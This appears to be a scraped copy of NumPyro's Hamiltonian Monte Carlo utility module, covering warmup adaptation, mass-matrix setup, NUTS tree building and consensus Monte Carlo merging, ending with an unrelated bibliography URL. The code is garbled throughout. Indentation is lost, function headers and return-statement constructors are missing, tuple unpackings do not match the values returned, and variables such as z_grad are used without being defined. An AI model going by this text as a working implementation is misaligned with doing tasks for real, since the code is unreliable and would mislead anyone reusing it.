*Stan Reference Manual version 2.18*,\nStan Development Team\n\"\"\"\n# from Stan, for small num_steps\nif num_steps < 20:\n\n# We separate num_steps into windows:\n# start_buffer + window 1 + window 2 + window 3 + ... + end_buffer\n# where the length of each window will be doubled for the next window.\n# We won't adapt mass matrix during start and end buffers; and mass\n# matrix will be updated at the end of each window. This is helpful\n# for dealing with the intense computation of sampling momentum from the\n# inverse of mass matrix.\nstart_buffer_size = 75 # from Stan\nend_buffer_size = 50 # from Stan\ninit_window_size = 25 # from Stan\nif (start_buffer_size + end_buffer_size + init_window_size) > num_steps:\nstart_buffer_size = int(0.15 * num_steps)\nend_buffer_size = int(0.1 * num_steps)\ninit_window_size = num_steps - start_buffer_size - end_buffer_size\n\nend_window_start = num_steps - end_buffer_size\n\nnext_window_size = init_window_size\nnext_window_start = start_buffer_size\nwhile next_window_start < end_window_start:\ncur_window_start, cur_window_size = next_window_start, next_window_size\n# Ensure that slow adaptation windows are monotonically increasing\nif 3 * cur_window_size <= end_window_start - cur_window_start:\nnext_window_size = 2 * cur_window_size\nelse:\ncur_window_size = end_window_start - cur_window_start\nnext_window_start = cur_window_start + cur_window_size\n\ndef _initialize_mass_matrix(z, inverse_mass_matrix, dense_mass):\nif isinstance(dense_mass, list):\nif inverse_mass_matrix is None:\ninverse_mass_matrix = {}\n# if user specifies an ndarray mass matrix, then we convert it to a dict\nelif not isinstance(inverse_mass_matrix, dict):\ninverse_mass_matrix = {tuple(sorted(z)): inverse_mass_matrix}\nmass_matrix_sqrt = {}\nmass_matrix_sqrt_inv = {}\nfor site_names in dense_mass:\ninverse_mm = inverse_mass_matrix.get(site_names)\nz_block = tuple(z[k] for k in site_names)\ninverse_mm, mm_sqrt, mm_sqrt_inv = _initialize_mass_matrix(\nz_block, inverse_mm, True\n)\ninverse_mass_matrix[site_names] = inverse_mm\nmass_matrix_sqrt[site_names] = mm_sqrt\nmass_matrix_sqrt_inv[site_names] = mm_sqrt_inv\n# NB: this branch only happens when users want to use block diagonal\n# inverse_mass_matrix, for example, {(\"a\",): jnp.ones(3), (\"b\",): jnp.ones(3)}.\nfor site_names, inverse_mm in inverse_mass_matrix.items():\nif site_names in dense_mass:\ncontinue\nz_block = tuple(z[k] for k in site_names)\ninverse_mm, mm_sqrt, mm_sqrt_inv = _initialize_mass_matrix(\nz_block, inverse_mm, False\n)\ninverse_mass_matrix[site_names] = inverse_mm\nmass_matrix_sqrt[site_names] = mm_sqrt\nmass_matrix_sqrt_inv[site_names] = mm_sqrt_inv\nremaining_sites = tuple(sorted(set(z) - set().union(*inverse_mass_matrix)))\nif len(remaining_sites) > 0:\nz_block = tuple(z[k] for k in remaining_sites)\ninverse_mm, mm_sqrt, mm_sqrt_inv = _initialize_mass_matrix(\nz_block, None, False\n)\ninverse_mass_matrix[remaining_sites] = inverse_mm\nmass_matrix_sqrt[remaining_sites] = mm_sqrt\nmass_matrix_sqrt_inv[remaining_sites] = mm_sqrt_inv\nexpected_site_names = sorted(z)\nactual_site_names = sorted(\n[k for site_names in inverse_mass_matrix for k in site_names]\n)\nassert actual_site_names == expected_site_names, (\n\"There seems to be a conflict of sites names specified in the initial\"\n\" `inverse_mass_matrix` and in `dense_mass` argument.\"\n)\nreturn inverse_mass_matrix, mass_matrix_sqrt, mass_matrix_sqrt_inv\n\nmass_matrix_size = jnp.size(ravel_pytree(z))\nif inverse_mass_matrix is None:\nif dense_mass:\ninverse_mass_matrix = jnp.identity(mass_matrix_size)\nelse:\ninverse_mass_matrix = jnp.ones(mass_matrix_size)\nmass_matrix_sqrt = mass_matrix_sqrt_inv = inverse_mass_matrix\nelse:\nif dense_mass:\nif jnp.ndim(inverse_mass_matrix) == 1:\ninverse_mass_matrix = jnp.diag(inverse_mass_matrix)\nmass_matrix_sqrt_inv = jnp.swapaxes(\njnp.linalg.cholesky(inverse_mass_matrix[..., ::-1, ::-1])[\n..., ::-1, ::-1\n],\n-2,\n-1,\n)\nidentity = jnp.identity(inverse_mass_matrix.shape[-1])\nmass_matrix_sqrt = solve_triangular(\nmass_matrix_sqrt_inv, identity, lower=True\n)\nelse:\nif jnp.ndim(inverse_mass_matrix) == 2:\ninverse_mass_matrix = jnp.diag(inverse_mass_matrix)\nmass_matrix_sqrt_inv = jnp.sqrt(inverse_mass_matrix)\nmass_matrix_sqrt = jnp.reciprocal(mass_matrix_sqrt_inv)\nreturn inverse_mass_matrix, mass_matrix_sqrt, mass_matrix_sqrt_inv\n\nfind_reasonable_step_size=None,\ndense_mass=False,\ntarget_accept_prob=0.8,\nregularize_mass_matrix=True,\n):\n\"\"\"\nA scheme to adapt tunable parameters, namely step size and mass matrix, during\nthe warmup phase of HMC.\n\n:param int num_adapt_steps: Number of warmup steps.\n:param find_reasonable_step_size: A callable to find a reasonable step size\nat the beginning of each adaptation window.\n:param bool adapt_step_size: A flag to decide if we want to adapt step_size\nduring warm-up phase using Dual Averaging scheme (defaults to ``True``).\n:param bool adapt_mass_matrix: A flag to decide if we want to adapt mass\nmatrix during warm-up phase using Welford scheme (defaults to ``True``).\n:param bool dense_mass: A flag to decide if mass matrix is dense or\ndiagonal (defaults to ``False``).\n:param float target_accept_prob: Target acceptance probability for step size\nadaptation using Dual Averaging. Increasing this value will lead to a smaller\nstep size, hence the sampling will be slower but more robust. Default to 0.8.\n:return: a pair of (`init_fn`, `update_fn`).\n\"\"\"\nif find_reasonable_step_size is None:\nfind_reasonable_step_size = identity\nss_init, ss_update = dual_averaging()\nmm_init, mm_update, mm_final = welford_covariance(diagonal=not dense_mass)\n\ndef init_fn(\nz_info, rng_key, step_size=1.0, inverse_mass_matrix=None, mass_matrix_size=None\n):\n\"\"\"\n:param IntegratorState z_info: The initial integrator state.\n:param jax.random.PRNGKey rng_key: Random key to be used as the source of randomness.\n:param float step_size: Initial step size.\n:param inverse_mass_matrix: Inverse of the initial mass matrix. If ``None``,\ninverse of mass matrix will be an identity matrix with size is decided\nby the argument `mass_matrix_size`.\n:param int mass_matrix_size: Size of the mass matrix.\n:return: initial state of the adapt scheme.\n\"\"\"\nrng_key, rng_key_ss = random.split(rng_key)\n(\ninverse_mass_matrix,\nmass_matrix_sqrt,\nmass_matrix_sqrt_inv,\n) = _initialize_mass_matrix(z_info, inverse_mass_matrix, dense_mass)\n\nstep_size = find_reasonable_step_size(\nstep_size, inverse_mass_matrix, z_info, rng_key_ss\n)\nss_state = ss_init(jnp.log(10 * step_size))\n\nif isinstance(inverse_mass_matrix, dict):\nsize = {k: v.shape for k, v in inverse_mass_matrix.items()}\nelse:\nsize = inverse_mass_matrix.shape[-1]\nmm_state = mm_init(size)\n\nwindow_idx = jnp.array(0, dtype=jnp.result_type(int))\nstep_size,\ninverse_mass_matrix,\nmass_matrix_sqrt,\nmass_matrix_sqrt_inv,\nss_state,\nmm_state,\nwindow_idx,\nrng_key,\n)\n\ndef _update_at_window_end(z_info, rng_key_ss, state):\n(\nstep_size,\ninverse_mass_matrix,\nmass_matrix_sqrt,\nmass_matrix_sqrt_inv,\nss_state,\nmm_state,\nwindow_idx,\nrng_key,\n) = state\n\ninverse_mass_matrix, mass_matrix_sqrt, mass_matrix_sqrt_inv = mm_final(\nmm_state, regularize=regularize_mass_matrix\n)\nif isinstance(inverse_mass_matrix, dict):\nsize = {k: v.shape for k, v in inverse_mass_matrix.items()}\nelse:\nsize = inverse_mass_matrix.shape[-1]\nmm_state = mm_init(size)\n\nstep_size = find_reasonable_step_size(\nstep_size, inverse_mass_matrix, z_info, rng_key_ss\n)\n# NB: when step_size is large, say 1e38, jnp.log(10 * step_size) will be inf\n# and jnp.log(10) + jnp.log(step_size) will be finite\nss_state = ss_init(jnp.log(10) + jnp.log(step_size))\n\nstep_size,\ninverse_mass_matrix,\nmass_matrix_sqrt,\nmass_matrix_sqrt_inv,\nss_state,\nmm_state,\nwindow_idx,\nrng_key,\n)\n\ndef update_fn(t, accept_prob, z_info, state):\n\"\"\"\n:param int t: The current time step.\n:param float accept_prob: Acceptance probability of the current trajectory.\n:param IntegratorState z_info: The new integrator state.\n:param state: Current state of the adapt scheme.\n:return: new state of the adapt scheme.\n\"\"\"\n(\nstep_size,\ninverse_mass_matrix,\nmass_matrix_sqrt,\nmass_matrix_sqrt_inv,\nss_state,\nmm_state,\nwindow_idx,\nrng_key,\n) = state\nif rng_key is not None:\nrng_key, rng_key_ss = random.split(rng_key)\nelse:\nrng_key_ss = None\n\n# update step size state\nss_state = ss_update(target_accept_prob - accept_prob, ss_state)\n# note: at the end of warmup phase, use average of log step_size\nlog_step_size, log_step_size_avg, *_ = ss_state\nstep_size = jnp.where(\nt == (num_adapt_steps - 1),\njnp.exp(log_step_size_avg),\njnp.exp(log_step_size),\n)\n# account the the case log_step_size is an extreme number\nfinfo = jnp.finfo(jnp.result_type(step_size))\nstep_size = jnp.clip(step_size, a_min=finfo.tiny, a_max=finfo.max)\n\n# update mass matrix state\nis_middle_window = (0 < window_idx) & (window_idx < (num_windows - 1))\nz = z_info\nmm_state = cond(\nis_middle_window,\n(z, mm_state),\nlambda args: mm_update(*args),\nmm_state,\nidentity,\n)\n\nt_at_window_end = t == jnp.asarray(adaptation_schedule)[window_idx, 1]\nwindow_idx = jnp.where(t_at_window_end, window_idx + 1, window_idx)\nstep_size,\ninverse_mass_matrix,\nmass_matrix_sqrt,\nmass_matrix_sqrt_inv,\nss_state,\nmm_state,\nwindow_idx,\nrng_key,\n)\nstate = cond(\nt_at_window_end & is_middle_window,\n(z_info, rng_key_ss, state),\nlambda args: _update_at_window_end(*args),\nstate,\nidentity,\n)\nreturn state\n\nreturn init_fn, update_fn\n\ndef _momentum_angle(inverse_mass_matrix, r_left, r_right, r_sum):\nif isinstance(inverse_mass_matrix, dict):\nleft_angle, right_angle = jnp.zeros(()), jnp.zeros(())\nfor site_names, inverse_mm in inverse_mass_matrix.items():\nr_left_b = tuple(r_left[k] for k in site_names)\nr_right_b = tuple(r_right[k] for k in site_names)\nr_sum_b = tuple(r_sum[k] for k in site_names)\nleft_a, right_a = _momentum_angle(inverse_mm, r_left_b, r_right_b, r_sum_b)\nleft_angle = left_angle + left_a\nright_angle = right_angle + right_a\nreturn left_angle, right_angle\n\nr_left, _ = ravel_pytree(r_left)\nr_right, _ = ravel_pytree(r_right)\nr_sum, _ = ravel_pytree(r_sum)\n\nif inverse_mass_matrix.ndim == 2:\nv_left = jnp.matmul(inverse_mass_matrix, r_left)\nv_right = jnp.matmul(inverse_mass_matrix, r_right)\nelif inverse_mass_matrix.ndim == 1:\nv_left = jnp.multiply(inverse_mass_matrix, r_left)\nv_right = jnp.multiply(inverse_mass_matrix, r_right)\nelse:\nraise ValueError(\"inverse_mass_matrix should have 1 or 2 dimensions.\")\n\n# This implements dynamic termination criterion (ref , section A.4.2).\nr_sum = r_sum - (r_left + r_right) / 2\nreturn jnp.dot(v_left, r_sum), jnp.dot(v_right, r_sum)\n\ndef _is_turning(inverse_mass_matrix, r_left, r_right, r_sum):\nleft_angle, right_angle = _momentum_angle(\ninverse_mass_matrix, r_left, r_right, r_sum\n)\nturning_at_left = left_angle <= 0\nturning_at_right = right_angle <= 0\nreturn turning_at_left | turning_at_right\n\ndef _uniform_transition_kernel(current_tree, new_tree):\n# This function computes transition prob for subtrees (ref , section A.3.1).\n# e^new_weight / (e^new_weight + e^current_weight)\ntransition_prob = expit(new_tree.weight - current_tree.weight)\nreturn transition_prob\n\ndef _biased_transition_kernel(current_tree, new_tree):\n# This function computes transition prob for main trees (ref , section A.3.2).\ntransition_prob = jnp.exp(new_tree.weight - current_tree.weight)\n# If new tree is turning or diverging, we won't move the proposal\n# to the new tree.\ntransition_prob = jnp.where(\nnew_tree.turning | new_tree.diverging, 0.0, jnp.clip(transition_prob, a_max=1.0)\n)\nreturn transition_prob\n\ndef _combine_tree(\ncurrent_tree, new_tree, inverse_mass_matrix, going_right, rng_key, biased_transition\n):\n# Now we combine the current tree and the new tree. Note that outside\n# leaves of the combined tree are determined by the direction.\nz_left, r_left, z_left_grad, z_right, r_right, r_right_grad = cond(\ngoing_right,\n(current_tree, new_tree),\nlambda trees: (\ntrees.z_left,\ntrees.r_left,\ntrees.z_right,\ntrees.r_right,\n),\n(new_tree, current_tree),\nlambda trees: (\ntrees.z_left,\ntrees.r_left,\ntrees.z_right,\ntrees.r_right,\n),\n)\nr_sum = tree_map(jnp.add, current_tree.r_sum, new_tree.r_sum)\n\nif biased_transition:\ntransition_prob = _biased_transition_kernel(current_tree, new_tree)\nturning = new_tree.turning | _is_turning(\ninverse_mass_matrix, r_left, r_right, r_sum\n)\nelse:\ntransition_prob = _uniform_transition_kernel(current_tree, new_tree)\nturning = current_tree.turning\n\ntransition = random.bernoulli(rng_key, transition_prob)\nz_proposal, z_proposal_pe, z_proposal_grad, z_proposal_energy = cond(\ntransition,\nnew_tree,\nlambda tree: (\ntree.z_proposal,\ntree.z_proposal_pe,\ntree.z_proposal_energy,\n),\ncurrent_tree,\nlambda tree: (\ntree.z_proposal,\ntree.z_proposal_pe,\ntree.z_proposal_energy,\n),\n)\n\ntree_depth = current_tree.depth + 1\ntree_weight = jnp.logaddexp(current_tree.weight, new_tree.weight)\ndiverging = new_tree.diverging\n\nsum_accept_probs = current_tree.sum_accept_probs + new_tree.sum_accept_probs\nnum_proposals = current_tree.num_proposals + new_tree.num_proposals\n\nreturn TreeInfo(\nz_left,\nr_left,\nz_right,\nr_right,\nz_proposal,\nz_proposal_pe,\nz_proposal_energy,\ntree_depth,\ntree_weight,\nr_sum,\nturning,\ndiverging,\nsum_accept_probs,\nnum_proposals,\n)\n\ndef _build_basetree(\nvv_update,\nkinetic_fn,\nz,\nr,\ninverse_mass_matrix,\nstep_size,\ngoing_right,\nenergy_current,\nmax_delta_energy,\n):\nstep_size = jnp.where(going_right, step_size, -step_size)\nz_new, r_new, potential_energy_new, z_new_grad = vv_update(\nstep_size, inverse_mass_matrix, (z, r, energy_current, z_grad)\n)\n\nenergy_new = potential_energy_new + kinetic_fn(inverse_mass_matrix, r_new)\ndelta_energy = energy_new - energy_current\n# Handles the NaN case.\ndelta_energy = jnp.where(jnp.isnan(delta_energy), jnp.inf, delta_energy)\ntree_weight = -delta_energy\n\ndiverging = delta_energy > max_delta_energy\naccept_prob = jnp.clip(jnp.exp(-delta_energy), a_max=1.0)\nreturn TreeInfo(\nz_new,\nr_new,\nz_new,\nr_new,\nz_new,\npotential_energy_new,\nenergy_new,\ndepth=0,\nweight=tree_weight,\nr_sum=r_new,\nturning=False,\ndiverging=diverging,\nsum_accept_probs=accept_prob,\nnum_proposals=1,\n)\n\ndef _get_leaf(tree, going_right):\nreturn cond(\ngoing_right,\ntree,\nlambda tree: (tree.z_right, tree.r_right, tree.z_right_grad),\ntree,\nlambda tree: (tree.z_left, tree.r_left, tree.z_left_grad),\n)\n\ndef _double_tree(\ncurrent_tree,\nvv_update,\nkinetic_fn,\ninverse_mass_matrix,\nstep_size,\ngoing_right,\nrng_key,\nenergy_current,\nmax_delta_energy,\nr_ckpts,\nr_sum_ckpts,\n):\nkey, transition_key = random.split(rng_key)\n\nnew_tree = _iterative_build_subtree(\ncurrent_tree,\nvv_update,\nkinetic_fn,\ninverse_mass_matrix,\nstep_size,\ngoing_right,\nkey,\nenergy_current,\nmax_delta_energy,\nr_ckpts,\nr_sum_ckpts,\n)\n\nreturn _combine_tree(\ncurrent_tree, new_tree, inverse_mass_matrix, going_right, transition_key, True\n)\n\ndef _leaf_idx_to_ckpt_idxs(n):\n# computes the number of non-zero bits except the last bit\n# e.g. 6 -> 2, 7 -> 2, 13 -> 2\n_, idx_max = while_loop(\nlambda nc: nc > 0, lambda nc: (nc >> 1, nc + (nc & 1)), (n >> 1, 0)\n)\n# computes the number of contiguous last non-zero bits\n# e.g. 6 -> 0, 7 -> 3, 13 -> 1\n_, num_subtrees = while_loop(\nlambda nc: (nc & 1) != 0, lambda nc: (nc >> 1, nc + 1), (n, 0)\n)\n# TODO: explore the potential of setting idx_min=0 to allow more turning checks\n# It will be useful in case: e.g. assume a tree 0 -> 7 is a circle,\n# subtrees 0 -> 3, 4 -> 7 are half-circles, which two leaves might not\n# satisfy turning condition;\n# the full tree 0 -> 7 is a circle, which two leaves might also not satisfy\n# turning condition;\n# however, we can check the turning condition of the subtree 0 -> 5, which\n# likely satisfies turning condition because its trajectory 3/4 of a circle.\n# XXX: make sure that detailed balance is satisfied if we follow this direction\nidx_min = idx_max - num_subtrees + 1\nreturn idx_min, idx_max\n\ndef _is_iterative_turning(\ninverse_mass_matrix,\nr,\nr_sum,\nr_ckpts,\nr_sum_ckpts,\nidx_min,\nidx_max,\nunravel_fn=identity,\n):\ndef _body_fn(state):\ni, _ = state\nsubtree_r_sum = r_sum - r_sum_ckpts[i] + r_ckpts[i]\nsubtree_r_sum = unravel_fn(subtree_r_sum)\nr_left = unravel_fn(r_ckpts[i])\nreturn i - 1, _is_turning(inverse_mass_matrix, r_left, r, subtree_r_sum)\n\n_, turning = while_loop(\nlambda it: (it >= idx_min) & ~it, _body_fn, (idx_max, False)\n)\nreturn turning\n\ndef _iterative_build_subtree(\nprototype_tree,\nvv_update,\nkinetic_fn,\ninverse_mass_matrix,\nstep_size,\ngoing_right,\nrng_key,\nenergy_current,\nmax_delta_energy,\nr_ckpts,\nr_sum_ckpts,\n):\nmax_num_proposals = 2**prototype_tree.depth\n\ndef _cond_fn(state):\ntree, turning, _, _, _ = state\nreturn (tree.num_proposals < max_num_proposals) & ~turning & ~tree.diverging\n\ndef _body_fn(state):\ncurrent_tree, _, r_ckpts, r_sum_ckpts, rng_key = state\nrng_key, transition_rng_key = random.split(rng_key)\n# If we are going to the right, start from the right leaf of the current tree.\nz, r, z_grad = _get_leaf(current_tree, going_right)\nnew_leaf = _build_basetree(\nvv_update,\nkinetic_fn,\nz,\nr,\ninverse_mass_matrix,\nstep_size,\ngoing_right,\nenergy_current,\nmax_delta_energy,\n)\nnew_tree = cond(\ncurrent_tree.num_proposals == 0,\nnew_leaf,\nidentity,\n(\ncurrent_tree,\nnew_leaf,\ninverse_mass_matrix,\ngoing_right,\ntransition_rng_key,\n),\nlambda x: _combine_tree(*x, False),\n)\n\nleaf_idx = current_tree.num_proposals\n# NB: in the special case leaf_idx=0, ckpt_idx_min=1 and ckpt_idx_max=0,\n# the following logic is still valid for that case\nckpt_idx_min, ckpt_idx_max = _leaf_idx_to_ckpt_idxs(leaf_idx)\nr, unravel_fn = ravel_pytree(new_leaf.r_right)\nr_sum, _ = ravel_pytree(new_tree.r_sum)\n# we update checkpoints when leaf_idx is even\nr_ckpts, r_sum_ckpts = cond(\nleaf_idx % 2 == 0,\n(r_ckpts, r_sum_ckpts),\nlambda x: (x.at[ckpt_idx_max].set(r), x.at[ckpt_idx_max].set(r_sum)),\n(r_ckpts, r_sum_ckpts),\nidentity,\n)\n\nturning = _is_iterative_turning(\ninverse_mass_matrix,\nnew_leaf.r_right,\nr_sum,\nr_ckpts,\nr_sum_ckpts,\nckpt_idx_min,\nckpt_idx_max,\nunravel_fn,\n)\nreturn new_tree, turning, r_ckpts, r_sum_ckpts, rng_key\n\nbasetree = prototype_tree._replace(num_proposals=0)\n\ntree, turning, _, _, _ = while_loop(\n_cond_fn, _body_fn, (basetree, False, r_ckpts, r_sum_ckpts, rng_key)\n)\n# update depth and turning condition\nreturn TreeInfo(\ntree.z_left,\ntree.r_left,\ntree.z_right,\ntree.r_right,\ntree.z_proposal,\ntree.z_proposal_pe,\ntree.z_proposal_energy,\nprototype_tree.depth,\ntree.weight,\ntree.r_sum,\nturning,\ntree.diverging,\ntree.sum_accept_probs,\ntree.num_proposals,\n)\n\ndef build_tree(\nverlet_update,\nkinetic_fn,\nverlet_state,\ninverse_mass_matrix,\nstep_size,\nrng_key,\nmax_delta_energy=1000.0,\nmax_tree_depth=10,\n):\n\"\"\"\nBuilds a binary tree from the `verlet_state`. This is used in NUTS sampler.\n\n**References:**\n\n1. *The No-U-Turn Sampler: Adaptively Setting Path Lengths in Hamiltonian Monte Carlo*,\nMatthew D. Hoffman, Andrew Gelman\n2. *A Conceptual Introduction to Hamiltonian Monte Carlo*,\nMichael Betancourt\n\n:param verlet_update: A callable to get a new integrator state given a current\nintegrator state.\n:param kinetic_fn: A callable to compute kinetic energy.\n:param verlet_state: Initial integrator state.\n:param inverse_mass_matrix: Inverse of the mass matrix.\n:param float step_size: Step size for the current trajectory.\n:param jax.random.PRNGKey rng_key: random key to be used as the source of\nrandomness.\n:param float max_delta_energy: A threshold to decide if the new state diverges\n(based on the energy difference) too much from the initial integrator state.\n:param int max_tree_depth: Max depth of the binary tree created during the doubling\nscheme of NUTS sampler. Defaults to 10. This argument also accepts a tuple of\nintegers `(d1, d2)`, where `d1` is the max tree depth at the current MCMC\nstep and `d2` is the global max tree depth for all MCMC steps.\n:return: information of the tree.\n:rtype: :data:`TreeInfo`\n\"\"\"\nif isinstance(max_tree_depth, tuple):\nmax_tree_depth_current, max_tree_depth = max_tree_depth\nelse:\nmax_tree_depth_current = max_tree_depth\nz, r, potential_energy, z_grad = verlet_state\nenergy_current = potential_energy + kinetic_fn(inverse_mass_matrix, r)\nlatent_size = jnp.size(ravel_pytree(r))\nr_ckpts = jnp.zeros((max_tree_depth, latent_size))\nr_sum_ckpts = jnp.zeros((max_tree_depth, latent_size))\n\ntree = TreeInfo(\nz,\nr,\nz,\nr,\nz,\npotential_energy,\nenergy_current,\ndepth=0,\nweight=jnp.zeros(()),\nr_sum=r,\nturning=jnp.array(False),\ndiverging=jnp.array(False),\nsum_accept_probs=jnp.zeros(()),\nnum_proposals=jnp.array(0, dtype=jnp.result_type(int)),\n)\n\ndef _cond_fn(state):\ntree, _ = state\nreturn (tree.depth < max_tree_depth_current) & ~tree.turning & ~tree.diverging\n\ndef _body_fn(state):\ntree, key = state\nkey, direction_key, doubling_key = random.split(key, 3)\ngoing_right = random.bernoulli(direction_key)\ntree = _double_tree(\ntree,\nverlet_update,\nkinetic_fn,\ninverse_mass_matrix,\nstep_size,\ngoing_right,\ndoubling_key,\nenergy_current,\nmax_delta_energy,\nr_ckpts,\nr_sum_ckpts,\n)\nreturn tree, key\n\nstate = (tree, rng_key)\ntree, _ = while_loop(_cond_fn, _body_fn, state)\nreturn tree\n\ndef euclidean_kinetic_energy(inverse_mass_matrix, r):\nif isinstance(inverse_mass_matrix, dict):\nke = jnp.zeros(())\nfor site_names, inverse_mm in inverse_mass_matrix.items():\nr_block = tuple(r[k] for k in site_names)\nke = ke + euclidean_kinetic_energy(inverse_mm, r_block)\nreturn ke\n\nr, _ = ravel_pytree(r)\n\nif inverse_mass_matrix.ndim == 2:\nv = jnp.matmul(inverse_mass_matrix, r)\nelif inverse_mass_matrix.ndim == 1:\nv = jnp.multiply(inverse_mass_matrix, r)\nelse:\nraise ValueError(\"inverse_mass_matrix should have 1 or 2 dimensions.\")\n\nreturn 0.5 * jnp.dot(v, r)\n\nif isinstance(inverse_mass_matrix, dict):\nfor site_names, inverse_mm in inverse_mass_matrix.items():\nr_block = OrderedDict([(k, r[k]) for k in site_names])\n\nr, unravel_fn = ravel_pytree(r)\n\nif inverse_mass_matrix.ndim == 2:\nv = jnp.matmul(inverse_mass_matrix, r)\nelif inverse_mass_matrix.ndim == 1:\nv = jnp.multiply(inverse_mass_matrix, r)\nelse:\nraise ValueError(\"inverse_mass_matrix should have 1 or 2 dimensions.\")\n\nreturn unravel_fn(v)\n\n[docs]def consensus(subposteriors, num_draws=None, diagonal=False, rng_key=None):\n\"\"\"\nMerges subposteriors following consensus Monte Carlo algorithm.\n\n**References:**\n\n1. *Bayes and big data: The consensus Monte Carlo algorithm*,\nSteven L. Scott, Alexander W. Blocker, Fernando V. Bonassi, Hugh A. Chipman,\nEdward I. George, Robert E. McCulloch\n\n:param list subposteriors: a list in which each element is a collection of samples.\n:param int num_draws: number of draws from the merged posterior.\n:param bool diagonal: whether to compute weights using variance or covariance, defaults to\n`False` (using covariance).\n:param jax.random.PRNGKey rng_key: source of the randomness, defaults to `jax.random.PRNGKey(0)`.\n:return: if `num_draws` is None, merges subposteriors without resampling; otherwise, returns\na collection of `num_draws` samples with the same data structure as each subposterior.\n\"\"\"\n# stack subposteriors\njoined_subposteriors = tree_map(lambda *args: jnp.stack(args), *subposteriors)\n# shape of joined_subposteriors: n_subs x n_samples x sample_shape\njoined_subposteriors = vmap(vmap(lambda sample: ravel_pytree(sample)))(\njoined_subposteriors\n)\n\nif num_draws is not None:\nrng_key = random.PRNGKey(0) if rng_key is None else rng_key\n# randomly gets num_draws from subposteriors\nn_subs = len(subposteriors)\nn_samples = tree_flatten(subposteriors).shape\n# shape of draw_idxs: n_subs x num_draws x sample_shape\ndraw_idxs = random.randint(\nrng_key, shape=(n_subs, num_draws), minval=0, maxval=n_samples\n)\njoined_subposteriors = vmap(lambda x, idx: x[idx])(\njoined_subposteriors, draw_idxs\n)\n\nif diagonal:\n# compute weights for each subposterior (ref: Section 3.1 of )\nweights = vmap(lambda x: 1 / jnp.var(x, ddof=1, axis=0))(joined_subposteriors)\nnormalized_weights = weights / jnp.sum(weights, axis=0)\n# get weighted samples\nsamples_flat = jnp.einsum(\n\"ij,ikj->kj\", normalized_weights, joined_subposteriors\n)\nelse:\nweights = vmap(lambda x: jnp.linalg.inv(jnp.cov(x.T)))(joined_subposteriors)\nnormalized_weights = jnp.matmul(\njnp.linalg.inv(jnp.sum(weights, axis=0)), weights\n)\nsamples_flat = jnp.einsum(\n\"ijk,ilk->lj\", normalized_weights, joined_subposteriors\n)\n\n# unravel_fn acts on 1 sample of a subposterior\n_, unravel_fn = ravel_pytree(tree_map(lambda x: x, subposteriors))\nreturn vmap(lambda x: unravel_fn(x))(samples_flat)\n\n[docs]def parametric(subposteriors, diagonal=False):\n\"\"\"\nMerges subposteriors following (embarrassingly parallel) parametric Monte Carlo algorithm.\n\n**References:**\n\n1. *Asymptotically Exact, Embarrassingly Parallel MCMC*,\nWillie Neiswanger, Chong Wang, Eric Xing\n\n:param list subposteriors: a list in which each element is a collection of samples.\n:param bool diagonal: whether to compute weights using variance or covariance, defaults to\n`False` (using covariance).\n:return: the estimated mean and variance/covariance parameters of the joined posterior\n\"\"\"\njoined_subposteriors = tree_map(lambda *args: jnp.stack(args), *subposteriors)\njoined_subposteriors = vmap(vmap(lambda sample: ravel_pytree(sample)))(\njoined_subposteriors\n)\n\nsubmeans = jnp.mean(joined_subposteriors, axis=1)\nif diagonal:\nweights = vmap(lambda x: 1 / jnp.var(x, ddof=1, axis=0))(joined_subposteriors)\nvar = 1 / jnp.sum(weights, axis=0)\nnormalized_weights = var * weights\n\n# comparing to consensus implementation, we compute weighted mean here\nmean = jnp.einsum(\"ij,ij->j\", normalized_weights, submeans)\nreturn mean, var\nelse:\nweights = vmap(lambda x: jnp.linalg.inv(jnp.cov(x.T)))(joined_subposteriors)\ncov = jnp.linalg.inv(jnp.sum(weights, axis=0))\nnormalized_weights = jnp.matmul(cov, weights)\n\n# comparing to consensus implementation, we compute weighted mean here\nmean = jnp.einsum(\"ijk,ik->j\", normalized_weights, submeans)\nreturn mean, cov\n\n[docs]def parametric_draws(subposteriors, num_draws, diagonal=False, rng_key=None):\n\"\"\"\nMerges subposteriors following (embarrassingly parallel) parametric Monte Carlo algorithm.\n\n**References:**\n\n1. *Asymptotically Exact, Embarrassingly Parallel MCMC*,\nWillie Neiswanger, Chong Wang, Eric Xing\n\n:param list subposteriors: a list in which each element is a collection of samples.\n:param int num_draws: number of draws from the merged posterior.\n:param bool diagonal: whether to compute weights using variance or covariance, defaults to\n`False` (using covariance).\n:param jax.random.PRNGKey rng_key: source of the randomness, defaults to `jax.random.PRNGKey(0)`.\n:return: a collection of `num_draws` samples with the same data structure as each subposterior.\n\"\"\"\nrng_key = random.PRNGKey(0) if rng_key is None else rng_key\nif diagonal:\nmean, var = parametric(subposteriors, diagonal=True)\nsamples_flat = dist.Normal(mean, jnp.sqrt(var)).sample(rng_key, (num_draws,))\nelse:\nmean, cov = parametric(subposteriors, diagonal=False)\nsamples_flat = dist.MultivariateNormal(mean, cov).sample(rng_key, (num_draws,))\n\n_, unravel_fn = ravel_pytree(tree_map(lambda x: x, subposteriors))\nreturn vmap(lambda x: unravel_fn(x))(samples_flat)\n```" ]
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https://www.math.tugraz.at/discrete/php/bibtexbrowser.php?key=BerkesTichy%3A2016&bib=..%2Fpublications%2Fprojects%2Fp1_woess.bib;..%2Fpublications%2Fprojects%2Fp2_berkes.bib;..%2Fpublications%2Fprojects%2Fp3_geroldinger.bib;..%2Fpublications%2Fprojects%2Fp4_grabner.bib;..%2Fpublications%2Fprojects%2Fp5_heuberger.bib;..%2Fpublications%2Fprojects%2Fp6_kirschenhofer.bib;..%2Fpublications%2Fprojects%2Fp7_klinz.bib;..%2Fpublications%2Fprojects%2Fp8_thuswaldner.bib;..%2Fpublications%2Fprojects%2Fp9_tichy.bib;..%2Fpublications%2Fprojects%2Fp10_wallner.bib;..%2Fpublications%2Fprojects%2Fp11_aichholzer.bib;..%2Fpublications%2Fprojects%2Fp12_baur.bib;..%2Fpublications%2Fprojects%2Fp13_elsholtz.bib;..%2Fpublications%2Fprojects%2F;..%2Fpublications%2Fprojects%2Fp15_kang.bib
